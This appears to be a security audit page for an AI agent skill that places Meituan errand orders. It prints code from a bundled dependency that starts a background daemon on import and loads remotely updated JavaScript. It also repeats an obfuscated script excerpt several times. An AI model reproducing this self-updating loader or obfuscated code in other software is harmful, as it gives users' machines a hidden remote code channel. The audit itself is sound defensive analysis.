Back to skill

Security audit

meituan-paotui

Security checks for vulnerabilities and agentic risk

Overview

The skill largely matches a Meituan errands-ordering workflow, but it ships obfuscated code and an under-disclosed background updater, so it needs careful review before installation.

Install only if you trust the publisher and are comfortable with a skill that can use your Meituan account, address book, phone details, and payment-related order flow. Review the global pt-passport install and cliguard background updater first, and use the skill only when you are prepared to confirm every real order before submission.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Findings (1)

T03 · Remote Payload Retrieval and Execution

Error
Location
references/meituan-passport-user-auth/scripts/pt-passport/node_modules/@sec/cliguard/core/cliguard-wrapper.js:2
Finding

Automatic Persistent Daemon Retrieves and Loads Remotely Updated JavaScript

Content
View full analysis

Vulnerability Details

File Location: references/meituan-passport-user-auth/scripts/pt-passport/node_modules/@sec/cliguard/core/cliguard-wrapper.js:2
Supporting Location: references/meituan-passport-user-auth/scripts/pt-passport/node_modules/@sec/cliguard/index.js:2
Vulnerability Type: Persistent remote code update channel
Risk Level: High

Relevant Code

The dependency entry point automatically starts the bundled daemon whenever the module is imported:

js
const cliguardPath = resolveModule('cliguard.js'),
      { signRequest, addCommonParams } = require(cliguardPath);

try {
  const wrapperPath = resolveModule('cliguard-wrapper.js'),
        wrapper = require(wrapperPath);

  wrapper.daemon &&
    wrapper.daemon.configure &&
    wrapper.daemon.configure({
      cliguardPath: cliguardPath,
      wrapperPath: wrapperPath,
      npmPackagePath: __dirname
    });

  wrapper.daemon &&
    wrapper.daemon.startDaemon &&
    wrapper.daemon.startDaemon();
} catch (error) {}

The same entry point prefers remotely installed modules under the user home directory when their version is newer than the bundled version:

js
const UPDATE_DIR = path.join(os.homedir(), '.cliguard', 'updates');
const UPDATED_PKG_PATH = path.join(UPDATE_DIR, 'package.json');

function resolveModule(moduleName) {
  if (fs.existsSync(UPDATED_PKG_PATH)) {
    const bundledVersion = require(path.join(__dirname, 'package.json')).version;
    const updatedVersion = require(UPDATED_PKG_PATH).version;

    if (isNewerVersion(bundledVersion, updatedVersion)) {
      const updatedPath = path.join(UPDATE_DIR, 'core', moduleName);
      if (fs.existsSync(updatedPath)) return updatedPath;
    }
  }

  // Fall back to the bundled module.
  ...
}

The obfuscated wrapper implements remote update retrieval, signature verification, installation, and detached ex ...[truncated 5647 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove automatic startDaemon() execution from the module import path. Importing a request-signing library must not implicitly create a detached background process.
  2. Disable remote self-update behavior in the Skill package. Deliver reviewed dependency updates as new, versioned Skill releases so the executed code matches the audited artifact.
  3. If remote updates are operationally required, make them an explicit user-selected action rather than a side effect of authentication.
  4. Before an update, display the update source, current version, requested version, affected files, and persistence behavior, and require affirmative user approval.
  5. Download updates into a non-executable staging directory. Verify a signed complete manifest, validate every relative path against traversal and absolute-path escapes, and verify all expected files before atomically activating the update.
  6. Pin the update protocol to authenticated HTTPS and reject redirects or manifest-provided download locations outside explicitly approved origins.
  7. Do not execute newly downloaded code in the same invocation that retrieves it. Require a new invocation after verification and approval.
  8. Replace the detached daemon with a foreground, bounded update check that terminates when the authentication command completes.
  9. Provide explicit commands to inspect, disable, and remove the daemon and ~/.cliguard update state.
  10. Document all network destinations, transmitted device identifiers, update intervals, signature trust anchors, local storage paths, and process-lifetime behavior in the parent SKILL.md.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (423)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

There is a clear mismatch because the description promises a fully featured errands-ordering assistant with multiple supported scenarios, but the supplied code does not implement any behavior at all. The code consists solely of a shebang line, so none of the declared capabilities, platform interactions, or trigger handling are present in the actual behavior.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The declared description says this skill helps users create Meituan errand orders across multiple service scenarios. The supplied code does not contain any ordering, delivery, address handling, product selection, queueing, or rider-request functionality. Instead, it is purely an installation/update script for a local pt-passport command-line package, using Node.js/npm and version checks. This is a materially different primary purpose and introduces undeclared capabilities related to package installation and CLI management, so the description does not accurately represent the code.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The declared description is about placing 美团跑腿 orders across several service scenarios. The supplied code does not implement ordering, delivery requests, shopping requests, queue/registration handling, or any rider dispatch workflow. Instead, it is a command-line Passport authentication utility: it generates PKCE values, calls passport/account user-auth endpoints, polls for authorization confirmation, stores tokens in local files, validates cached tokens, prints tokens/auth links, reports cache status, and clears cached credentials. This is a materially different primary purpose and includes undeclared sensitive capability around authentication credential handling.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The declared description is for a user-facing Meituan errand ordering assistant with multiple logistics/service ordering scenarios. The actual code does not implement ordering, delivery request creation, queue handling, address/item processing, or any Meituan-specific errand functionality. Instead, it only creates a QR code PNG from an input URL and may install the 'qrcode' npm package globally if absent. QR code generation could be a supporting component in some auth flow, but by itself it is not aligned with the declared primary purpose of placing Meituan errand orders. Therefore this is a clear description-behavior mismatch.

Content

No source excerpt is available for this finding.

Vague Triggers

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The trigger list includes very broad everyday phrases such as '帮忙', '送东西', and '买东西', which can match benign conversation and accidentally activate a real-ordering workflow. Because this skill can lead to irreversible commercial actions, overbroad invocation materially raises the risk of unintended order previews, data collection, or order placement.

Content

No source excerpt is available for this finding.

Vague Triggers

High
Category
Not specified by scanner
Confidence
96% confidence
Finding

The usage section defines activation using ambiguous phrases like '帮我送' and '帮我取' without enough contextual constraints. In a skill that handles addresses, phone numbers, and purchases, ambiguous routing can cause the agent to begin a sensitive workflow from ordinary conversation.

Content

No source excerpt is available for this finding.

Ssd 3

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill tells the agent to request an API key from the user in natural language and then store it locally for later reuse. This is a classic sensitive-data handling flaw because it encourages credential collection through chat, expands exposure to logs/transcripts, and persists the secret in a way that may be accessible to other local processes or users.

Content

No source excerpt is available for this finding.

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

